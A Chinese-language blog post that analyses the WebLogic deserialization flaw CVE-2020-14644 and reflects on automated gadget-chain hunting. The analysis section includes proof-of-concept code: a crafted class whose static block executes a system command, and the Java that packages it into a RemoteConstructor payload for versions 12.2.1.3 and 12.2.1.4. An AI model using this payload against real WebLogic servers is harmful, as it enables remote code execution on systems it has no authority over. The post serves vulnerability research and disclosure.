CVE-2020-14644分析与gadget的一些思考

Posted by kingkk on 2020-08-02

前言

前段时间Weblogic出了七月份的补丁,其中比较受关注的有4个9.8评分的RCE,目前14625和14645在网上也都有了详情,话说有个老哥一己之力包了其中三个属实nb。

之前也有几个朋友问起14644的详情,正好一起分享下14644的利用,和之前疫情半年在家挖gadget的一些思考。

CVE-2020-14644

和2883、14645不同的是,这应该算是一条全新的gadget,并不是在原先2555的基础上进行绕过。

这个漏洞的主角是com.tangosol.internal.util.invoke.RemoteConstructor

在它的readResolve方法中会一直调用到RemotableSupport.realize()方法

1
RemoteConstructor.readResolve -> RemoteConstructor.newInstance -> RemotableSupport.realize

realize方法中有两个比较有意思的点defineClasscreateInstance

比较熟悉Java的同学到这里可以察觉到一些问题,这是一个自定义加载类并实例化的过程。

ysoserial中经典的TemplateImpl中就有类似的过程。

但是目前仅是函数名存在一些端倪,真要利用还得看具体的函数实现。

先来看defineClass函数

最后又调用了重载的defineClass,但很有意思的是这个函数IDEA跟进之后指向的是ClassLoader.defineClass

RemotableSupport的函数申明中,可以看到这个类其实是继承了ClassLoader这个类的

就表示这个RemotableSupport.defineClass函数确实是可以通过二进制字节码在内存中定义类的。

然后就是考虑这个byte数组是否可以在反序列化时被我们控制,可以看到这个数组是通过byte[] abClass = definition.getBytes()而来的。

这个属性恰好是ClassDefinition的一个byte数组的成员变量,可以在初始化时直接传入。

当然光defineClass对于漏洞触发来说是不够的,定义了类之后,还得加载这个类,才能触发staic方法。(不过自己挖洞的时候其实也没必要那么严谨,下面有个createInstance函数其实已经八九不离十了

当然这个方法确实也没有辜负我们的期望,获取了该类的构造函数,并进行实例化。

这里还有个需要注意的地方是defineClass的类名不像TemplateImpl中是一个任意的类名,它是根据definition的属性而来的(应该可以反射修改?暂时没尝试

1
2
String sBinClassName = definition.getId().getName();
String sClassName = sBinClassName.replace('/', '.');

这里getName获取到的类名是一个内部类,内部类的名字是根据ClassIdentity.m_sVersion而来的

而这个成员变量的值是初始化的时候定义的,是一串md5的哈希值

1
2
3
public ClassIdentity(Class<?> clazz) {
this(clazz.getPackage().getName().replace('.', '/'), clazz.getName().substring(clazz.getName().lastIndexOf(46) + 1), Base.toHex(md5(clazz.getClassLoader().getResourceAsStream(clazz.getName().replace('.', '/') + ".class"))));
}

否则,defineClass时指定的className与字节码文件中的类对应不上的话就会抛出NoClassDefFoundError的异常。

这里以12.2.1.3版本为例(版本不同时类的哈希值也会不一样),生成如下内部类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.tangosol.internal.util.invoke.lambda;

import java.io.IOException;

public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A {
public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}
}
}

payload的构造就比较简单

1
2
3
4
5
6
byte[] bytes = Files.readBytes(new File("/path/to/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"));
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(new ClassIdentity(LambdaIdentity.class), bytes), new Object[]{}
);

return constructor;

(这里提一句,如果你生成poc时,发现报错的类名一直在变,应该是你把你重写的类加到了classPath中,导致覆盖了weblogic原有的类)

最后,常规流程走一波,弹个计算器(真搞不懂你们黑客,弹个计算器直接cmd运行不好吗

我提交的时候只给了12.2.1.3.0和12.2.1.4.0的POC,不知道为什么最后给出的影响范围只有三个(虽然我确实没测过10.3.6和14.x的

这个漏洞比较好的地方就在于他不像2555的单向链式执行,导致无法执行比较复杂的Java代码,只能通过别的方式进一步利用。而这个漏洞可以直接在static代码块中插入想要执行的代码,利用起来比较方便。

比较麻烦的一点在于同一个Payload无法多次执行,原因在于这个类在第一次触发时已经被加载了。可以通过生成不同的类或者之前提到的反射(或许?)解决这个问题。

关于gadget的一些思考

gadget的链式性

对反序列化(不仅限于Java的反序列化,还有JSON之类的)了解过的人应该都知道,反序列化的其实是一个链式的调用,其实对于常规漏洞来说也是,是一条从Source到Sink的调用链路。

只是反序列化这里的Source比较明确,对于Java反序列化来说是readObject,对于JSON的反序列化来说是getter、setter。

但既然是一条链,就可以拆卸组装,从过不同的连接方式,组装成另一条新的链。

以CVE-2020-2555为例,他的触发链其实如下

1
2
3
4
5
ObjectInputStream.readObject() ->
BadAttributeValueExpException.readObject() ->
LimitFilter.toString() ->
ChainedExtractor.extract() ->
ReflectionExtractor.extract()

当时一月份的修复方式相当于在LimitFilter.toString()这里打断了这条链。

当时就感觉这种修复是一种治标不治本的修复,于是就出了2883的绕过,2883的触发链大致如下

1
2
3
4
5
ObjectInputStream.readObject() ->
PriorityQueue.readObject() ->
ExtractorComparator.compare() ->
ChainedExtractor.extract() ->
ReflectionExtractor.extract()

可以看到,这就是典型的一个将原先的链进行组装,拼接成一个新的链。

这样做的好处在于可以复用原先找到的链,降低构造成本。事实上ysoserial中的一些链也是那么做的,通过将一些链中的一小节进行拼接,就生成了一个新的链。当时分析完ysoserial之后的云玩家感言也就是那么想的。

https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/#%E4%BA%91%E7%8E%A9%E5%AE%B6%E6%84%9F%E8%A8%80

这样我们其实在找gadget时可以复用ysoserial中一些比较好用的链的一小节,例如

  • AnnotationInvocationHandler.readObject() -> ... -> Map.get()
  • PriorityQueue.readObject() -> ... -> Comparator.compare()
  • BadAttributeValueExpException.readObject() -> ... -> Object.toString()
  • HashSet.readObject() -> ... -> Object.hashCode()
  • HashSet.readObject() -> ... -> Map.put()
  • HashSet.readObject() -> ... -> Map.get()
  • Hashtable.readObject() -> ... -> Object.equals()

这样在找gadget时就不一定非得从readObject函数开始,只要能找到上面的函数到Sink点的通路即可。

而且除了readObject其实还有readExternalreadResolve之类的函数有的话也可以关注。

这样在看到2555的漏洞修复的时候,其实只要找到一个Comparator.compare()触发了ValueExtractor.extract()函数即可,事实表示这样的难易程度就降低了很多,也就是当时2883有蛮多师傅都挖出来了的原因。

TaintAnalysis -> CallGraph

https://github.com/JackOfMostTrades/gadgetinspector

Gadget Inspector是一款 Black Hat USA 2018 中展示的挖掘gadget的工具,听说挖2555的作者就是借助这款自动化的工具挖出了2555(但貌似进行了一些自定义化的改动)

https://medium.com/@testbnull/the-art-of-deserialization-gadget-hunting-part-3-how-i-found-cve-2020-2555-by-known-tools-67819b29cb63

看过源码的之后发现其实内部是通过一套自定义的污点分析流程,去尝试挖掘对应的gadget,污点分析的细节和原理这里就不展开讲了。

由于之前做过一些自动化代码审计的工作,个人感觉污点分析的方式更像一个严谨的工程师,其中漏洞漏报主要源自于污点传播函数(propagate)没有定义好,导致一些污点信息没有做对应的标记,从而导致污点跟踪丢失,而且这些污点传播函数的case其实比较难完全覆盖。

由于个人挖洞的需求,其实我们的做法可以更激进一些,希望找出更多可能触发漏洞的点,并且接受一定的误报量,通过一定的误报而尽可能减少漏报,并通过一部分人工的排查,从而找出漏洞。

污点分析的对象单位是一个变量,而我们可以将这个对象放大至函数,忽略具体的数据流走向,通过寻找Call Graph,寻找所有可能触发Sink点的路径。

这个过程其实就是寻找一个可能触发的路径,需要通过一定的人工排查,去确定最后是否可以触发。但其实这样做已经为我们排除了大量不可能的路径。因为如果Call Graph都无法找到一条可行的路径,那就表示这个Sink点其实是无法触发的。(反射除外,反射目前应该是静态代码无法解决的一个痛点)

自动化这个过程中的一些问题

实际过程中可能还会有一些问题,还是以之前Weblogic的链为例子,比如触发ReflectionExtractor.extract()时,在上一层的LimitFilter.toString()中代码层面显示的调用其实的是ValueExtractor.extract()

这就涉及到Java语言的一个比较基本且重要的特性——多态,这个ValueExtractor其实是要在运行时才能确定的,所以静态代码层面无法确定这个函数具体要调用的代码块。

这一点Gadget Inspector其实已经做了处理,它在一开始会将类之间的继承和实现关系做了一个映射,在发现调用ValueExtractor.extract()时会去寻找所有其具体的实现,从而遍历所有可能触发的代码块。

在Call Graph + 类关系处理之后,找到的整个调用链可能会异常庞大,比如调用到了toString方法,但是重写了toString的类其实很多,这样就会产生一种指数爆炸的效果,可能需要一些限制类名、限制链的深度之类的操作,去避免过于长的链的查找。

其次就是可以通过从Sink->Source,Source->Sink正逆向相互结合来挖掘对应的链,其实对于gadget这种Source比较确定的个人比较推荐Source->Sink的寻找过程,并且根据gadget的链式性中提到的,将toStringhashCodecompare之类的函数也加入到Source中,减少寻找的难度。

个人感觉Java反序列化的gadget其实会比JSON的要难找一些,其实尝试去分析JSON的gadget之后会发现整个调用链其实都比较浅,像常规的jndi的调用链通常不超过3层。而且Java反序列化需要这个过程中所有涉及到的类都继承了Serializable接口,并且可能会遇到一些transient修饰的成员变量。

虽然Gadget Inspector中对类进行了限制,在自动化查找的时候就判断了类是否继承Serializable,但是感觉会有一些虽然没有继承Serializable,但是仅调用的是一个static函数之类的情况,导致一些可能的链被剔除了。所以个人更倾向于在人工排查时再去解决这些问题,只要误报在一个可以接受的范围内,自动化只负责找到所有可能的情况。(虽然我确实也遇到过找到了一条可以触发的链,但是其中一些类没有继承Serializable导致无法反序列化的情况)

例如以readResolve函数为Source,RemotableSupport:defineClass为Sink,就可以找到如下的调用链,也是14644漏洞触发的堆栈。

总结

以上就是CVE-2020-14644的漏洞详情,以及上半年疫情呆家对gadget挖掘一些思考,欢迎感兴趣的师傅一起交流学习。